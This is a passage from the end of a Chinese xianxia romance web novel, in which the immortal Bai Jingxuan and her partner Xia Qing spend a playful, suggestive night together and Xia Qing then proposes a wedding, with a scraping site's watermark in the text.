“我困得很。”夏清找了个理由,“回紫霄峰睡一觉再双修。” 白镜玄幽幽看着她,倒也没有把她心里的真实想法戳破。 既然夏清要回紫霄峰,白镜玄便再次施展空间传送,转眼便回到紫霄峰峰顶洞府外。 白镜玄不喜欢有人伺候,因而洞府外常年没有弟子值守。 夏清二人回到府中时,天色已有些暗了。 白镜玄扶着夏清在床上躺下,夏清赶忙抓起被子将自己裹好,白镜玄见状,俯身亲亲夏清额头,让夏清好好休息。 夏清歪歪头:“你要走?” 白镜玄垂下眼睑,睫毛下清潭般的眼眸荡起波纹:“还有点儿事。” “哦。”夏清略感失落,她还以为白镜玄会陪她睡一会儿。 不过也不打紧,魔渊事件结束了,她们以后相处的时间还长,遂对白镜玄道:“那你去忙吧。” 白镜玄走了,夏清躺在床上却睡不着。 她觉得自己有点矫情,觉得这样不好,但却控制不了低落的心情。 没回仙界的时候,她和白镜玄在蛮荒度过半年时间,朝夕相处,形影不离,她已经习惯,并觉得理所当然。 可是,这才刚回紫霄峰,白镜玄就说有事,把她放下就走了,不来陪她睡觉。 哼,生气气。 夏清低落之余,又感到几分困惑。 回程途中她可困得不行,一路都在打呵欠,可白镜玄一走,没留在身边,她居然就睡意全无。 难不成白镜玄给她下什么安眠药了? 这念头划过脑海,忽然吱呀一声,屋子房门打开。 夏清一个激灵,猛地闭眼装睡,同时控制自己的思维,尽量放空,不想被白镜玄看穿她脆弱而纠结的情感。 白镜玄进屋的脚步声很轻,像是怕吵醒夏清,所以故意走得很慢,步子轻盈。 最后,脚步声在床边停下来。 床榻发出细微声响,随后夏清胸口一沉,白镜玄竟然直接压在她身上。 夏清猛地睁眼,对上白镜玄那一双笑吟吟的眸子。 白镜玄笑问她:“明明醒着,为什么要装睡?” 夏清正要开口狡辩,忽然瞳孔一缩,无意识地屏住呼吸。 便见白镜玄头上顶着一对兽耳,身上只着一层薄纱,勾勒出若隐若现的腰肢曲线。 一条毛茸茸的尾巴打着旋儿落下,灵巧轻便地卷住夏清手腕,拉着她的手抬起来,最后按在白镜玄肩头。 她颤抖的指尖轻轻一碰,薄纱便自白镜玄肩颈滑落。 纱巾下面,只穿了一层浅色抹胸。 白镜玄坐起来,跨在夏清腰间,尾巴松开夏清的手,又灵巧地垂下去。 忽然,夏清身子一颤:“呀!” 尾巴顺着被沿往里钻,轻轻蹭过夏清的膝盖,暧昧地摩挲纠缠。 可若到此为止,还在夏清承受范围之内。 随即,白镜玄不知从哪儿摸出来一把白色绢条,先是当着夏清的面蒙住自己的眼睛,然后用法力操纵绢条绑住自己的手腕。 绢条没有风吹却自行拂动,轻盈地落入夏清掌中。 做完这一切,白镜玄歪歪脑袋,仿佛在思考还有什么遗漏。 而后,在夏清呆滞的目光中,白镜玄红唇轻启:“喵~” 夏清:“!!!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【全文完结】 第79章 第七十九章 夏清当场疯掉。 这只白镜玄, 是真实存在的吗?! 白镜玄蒙着眼睛,只能靠双耳捕获夏清愈渐沉重的呼吸。 不见夏清有旁的动静,她薄薄的嘴唇勾起一抹浅笑, 作势要将绢条抽走。 夏清眼底蹿起一团幽火, 本能地将划过掌间的绢条握紧。 柔软的绢布瞬间拉直, 夏清喉咙动了动, 手臂用力,将白镜玄往前拽。 白镜玄配合地放软了身子, 夏清一拉,她便柔软地倒下来,倒进夏清怀里。 夏清一个翻身, 将白镜玄压在身下, 同时抓住绢条,把手里这一端随手系在床头上,致使白镜玄双手被迫举过头顶。 为了增添情趣, 白镜玄将自己的神识禁锢在识海之中,不让它外放感受环境变化。 因为视野被绢布遮蔽,能用来判断夏清状态的五感便只剩下触觉和听觉。 每一步未知的变化都带来超乎寻常的刺激。 白镜玄心想,清儿喜欢这些“情趣”不是没有道理。 她也喜欢。 夏清听见了白镜玄的心声, 本就剧烈跳动的心愈发蹦得欢实,扑通扑通雷鸣般鼓噪着。 她猛地拉紧绢条,白镜玄手腕缠得更紧,这个姿态令她不得不微微扬起头来, 露出天鹅般纤长白皙的颈项。 夏清俯身,抓住白镜玄的尾巴, 用尾巴尖轻蹭白镜玄腰窝。 白镜玄身子一颤,情不自禁地扭着身子试图闪躲, 却因此将衣襟错落得愈发凌乱。 轻薄如纱的衣裳下,白镜玄肌肤略泛薄红,双腿微曲,膝盖蹭过膝盖,身姿妩媚,绽放出勾人心魄的风情。 夏清热血上头,不仅头晕眼花,还口干舌燥。 以前她一直觉得自己命不好,所以命运给她的剧本要么是英年早逝,要么是夹缝求生。 但如今看来,她的命未免太好。 她是为了遇见白镜玄而生的。 恋爱脑就恋爱脑吧,美人香香软软,会撒娇还会勾人,敢问谁不迷糊? 反正她迷糊住了。 夏清手指画着圈儿在薄纱表面四处游走。 指尖点过的地方,烈火熊熊燃烧。 她一寸一寸吻过白镜玄的面孔,细细品味这盘送到她嘴边的美味珍馐。 温热的呼吸轻盈抚过白镜玄的耳廓,夏清张开嘴,小狗似的嗫咬她的耳朵。 湿软的嘴唇叼着她的耳珠,异样的酥麻感瞬间席卷她的身体,将她的脊梁骨一节一节点燃。 菜餐前菜才将将备足,白镜玄已融化在夏清指掌之间。 她被迫抬高下巴,裸。露脆弱的咽喉,只有如此才能纳得一点稀薄的氧气。 夏清在她脖颈间印下一枚暧昧的红痕,舌尖一转,便又在肩膀处留下一圈浅浅牙印。 每烙下一个印记就加深一分羁绊,白镜玄任由自己被浪涛退走,放纵沉沦。 这一夜,夏清兽性大发,咬了白镜好几口。 白镜玄几度迷失,又几度清醒。 夏清玩到尽兴,窗外已夜色深深。 低头瞧见满床旖旎之景,夏清不好意思地揉了揉鼻子。 会不会有点过火? 只见白镜玄面色潮红,胸口激烈起伏,周身红晕未退,闭着眼在休息。 绑缚着她手腕的绢布不知什么时候已经散了,因而混乱之中,又抓了夏清满身伤痕。 夏清想着应该打理一下再休息。 正待起身,白镜玄忽然睁眼,下一秒,夏清手腕被白镜玄擒住。 一转眼,天旋地转,夏清嘭的一声倒回床上。 她们都没穿衣,夏清仰躺在床,后背都能清晰感受到床单上潮湿的汗迹。 夏清眼睑颤了颤,抬眼看向白镜玄:“你怎么起来了?” “我不起来,你就跑了。”白镜玄不满地撅起嘴。 “我跑到哪里去?”夏清唇边带笑,盈盈睨白镜玄一眼。 她只是想替白镜玄清理清理,换个床单什么的。 “我不管。”白镜玄难得语气蛮横,不讲道理,低头再一次吻住夏清,“再来,我还没有尽兴。” 夏清:“???” 已经两个时辰了吧,还没尽兴?你是铁打的呀? 金仙之躯,恐怖如斯! 夏清心中疑惑如石沉大海。 白镜玄回应她的是一个又深又长的吻,吻得她上气不接下气,连连喘息。 好不容易白镜玄松开夏清,夏清没来得及劝她休息,立即夏清手腕被尾巴卷着,放到白镜玄腰后。 紧致细腻的腰线不论再摸多少遍,都令夏清怦然心动。 白镜玄又一次俯身拥抱夏清,不允许她们之间的距离超过一毫米。 但是……夏清挣扎着找了个机会开口:“我胳臂没力气了。” 白镜玄眼睫颤了颤,唇边笑意洋溢:“没关系。” 说完,攻守易位,夏清又一次被白镜玄吻住,吻得她迷迷糊糊。 白镜玄的呼吸扫过她的脖颈,过电似的令夏清浑身激颤。 她身如飘萍不得不死死抓住白镜玄的胳臂,任由灵魂高高抛起,又狠狠坠落。 激烈的呼吸声中,夏清隐约听见白镜玄心底传来一声轻笑。 “和清儿一起,怎样都好。” 这场纠缠不知道持续多久,夏清大抵是体力透支,中途厥过去了。 待她一觉睡醒,窗外天色已经大亮。 白镜玄早就醒了,侧躺着,专注地凝望她的脸颊。 不知道白镜玄这样躺着看了她多久,但夏清因为嗜睡,这般情形次数多了,便早习以为常。 “早安,清儿。”白镜玄一只手撑着自己的侧脸,另一只手搭在夏清身上,指尖卷住夏清一缕青丝,百无聊赖地把玩着。 夏清扭头,对上她水盈盈的目光。 昨晚忙了大半宿,白镜玄竟还是这般精神抖擞。 “早上好。”夏清感觉张张嘴都费劲。 别说是起床了,她这老腰快断了,胳臂也抬不起来,今天八成是废了。 算了,反正也没有别的事需要她操心。 只要有白镜玄在,紫霄峰的天就塌不了,她可以安安心心睡大觉。 可是,她刚闭上眼,白镜玄就捏着她的头发轻扫她的耳朵。 痒酥酥的,扰得夏清睡不着。 夏清不得不再次睁眼:“你干嘛?” 白镜玄侧躺在夏清身边,眼尾勾起一抹笑意,问她:“已是新的一天了,清儿就没有什么话要对我说?” “……”夏清被白镜玄的无聊无语到。 但是,盈着白镜玄亮闪闪的目光,夏清又不忍心扫她的兴,哪怕困得不行,她也甘心配合。 想了想,猜测白镜玄大概是想听情话吧。 于是,夏清回复道:“睡醒就可以见到卿卿,真是我人生最美好的事情。” 白镜玄果然受用,笑得两眼弯弯:“真的呀?” 夏清感觉白镜玄谈恋爱之后智商直线下降,幸好她在恋爱之外的事情上还能拎得清。 “真的。”夏清回答。 白镜玄唇角翘得更高:“还有没有别的?” 夏清默,她脑子混混沌沌,暂时想不出别的。 但口头上当然不能这么说,于是,她道:“留着日后再说。” 白镜玄不大满意夏清这个回答,她凑近看着夏清的眼睛,故意摆出很委屈的样子:“多说一句都不行?” 夏清:“……” 与白镜玄对视,那双原本幽深的眼眸,如今只浅浅盈着一蓬秋水,再没有半点阴霾。 白镜玄眼底的深情似乎可以穿过漫长时空,看到很远的未来。 被这眼神莫名触动,鬼使神差,夏清忽然说道:“寻个良辰吉日,我们办婚礼吧。” 这一次,换白镜玄愣住。 她设想过许多夏清可能的回答,但最终,这句话完全出乎她的意料。 以往她提过不止一次,想要和夏清举办婚宴。 让紫霄峰,乃至整个仙界的人都知道她们对彼此的情谊,她们是天造地设的一对璧人。 但夏清总有借口推脱,一来二去,她便也不再提。 心想,反正伴侣契约已成,日后她们不会再分开,不管天地万物如何改变,她们都永远在一起,也算是她求得了圆满。 夏清不想大张旗鼓宣扬,怕引来争端,那就不办吧。 但是没想到,夏清会突然在这时候提出来。 白镜玄眼底波光霎时漾动起来,情意绵绵,黏黏糊糊。 夏清被白镜玄盯得不好意思,难为情地撇开脸,胡乱错开话题:“你就没有什么要对我说?” “嗯……”白镜玄沉吟须臾,认真说道,“我要把和清儿相处的每一天都当成生命最后一天好好珍惜。” 突然从白镜玄口中听到这么认真的情话,夏清意外之余,还有一点点感动。 不料,下一秒,白镜玄翻过来伏在夏清身上。 “所以,我们一点时间都不能浪费,春宵一刻值千金。” 夏清:“???” 喂! (全文完)魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m